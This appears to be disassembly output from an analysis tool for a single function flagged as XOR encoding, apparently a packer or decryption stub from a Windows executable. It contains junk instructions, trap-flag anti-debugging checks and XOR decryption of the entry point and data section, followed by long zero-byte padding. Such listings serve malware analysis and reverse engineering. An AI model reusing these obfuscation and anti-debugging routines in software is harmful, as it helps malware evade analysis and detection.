Function at 0x408b68
Capabilities:
Encode data using xor

Disassembly:
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b36
pop ebx
jmp 0x408b3c
nop
nop
call 0x408b68
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b49
pop ebx
push edx
pushfd
pop edx
test dh, 1
jne 0x408b52
pop edx
sub cx, 0
xchg bx, bx
mov esi, esi
sub si, 0
add edx, 0
nop
nop
nop
pop ebp
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b6f
pop ebx
xchg al, al
jmp 0x408b77
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408b7e
pop ecx
mov dh, dh
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408b8a
pop ecx
sub ebp, 0x401005
sub bx, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408b9d
pop eax
cld
lea esi, [ebp + 0x401113]
jmp 0x408baa
sub bx, 0
jmp 0x408bb1
xor bp, 0
mov bl, bl
or cx, 0
sub ebx, 0
nop
nop
mov ecx, 0x27c
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408bcb
pop ebx
sub di, 0
jmp 0x408bd5
or edx, 0
or dh, 0
nop
xchg bx, bx
add dh, 0
nop
nop
mov al, byte [esi]
xor edi, 0
cld
nop
nop
rol al, 0x60
jmp 0x408bf2
sub edi, 0
add ebp, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408bfe
pop eax
mov byte [esi], al
cld
mov ch, ch
push edx
pushfd
pop edx
test dh, 1
jne 0x408c0c
pop edx
add eax, 0
cld
cld
nop
dec ecx
add sp, 0
xor si, 0
nop
nop
cld
cld
inc esi
sub al, 0
xor cl, 0
jmp 0x408c2b
push edx
pushfd
pop edx
test dh, 1
jne 0x408c31
pop edx
push edx
pushfd
pop edx
test dh, 1
jne 0x408c3a
pop edx
xchg dl, dl
xchg bl, bl
jmp 0x408c44
xchg cl, cl
nop
cld
nop
test ecx, ecx
jne 0x408be4
pushal
mov esi, entry0
mov eax, 0xe00eaee2
mov dword [esi], eax
mov eax, 0x9c4a4a9f
mov dword [esi + 4], eax
mov eax, 0x6b486a92
mov dword [esi + 8], eax
mov eax, 0x643a6ed3
mov dword [esi + 0xc], eax
mov eax, 0x636a2a58
mov dword [esi + 0x10], eax
mov eax, 0x7b6a3a58
mov dword [esi + 0x14], eax
mov eax, 0x68f66c5a
mov dword [esi + 0x18], eax
popal
jmp 0x408c93
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0xcba
mov ebx, 0x6b4e6ed3
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408ca6
popfd
popal
jmp 0x408cb2
pushal
pushfd
mov esi, section..data
mov edi, esi
mov ecx, 0x6e8
mov ebx, 0x6b4e6ed3
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408cc5
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 0x7d], ah
int3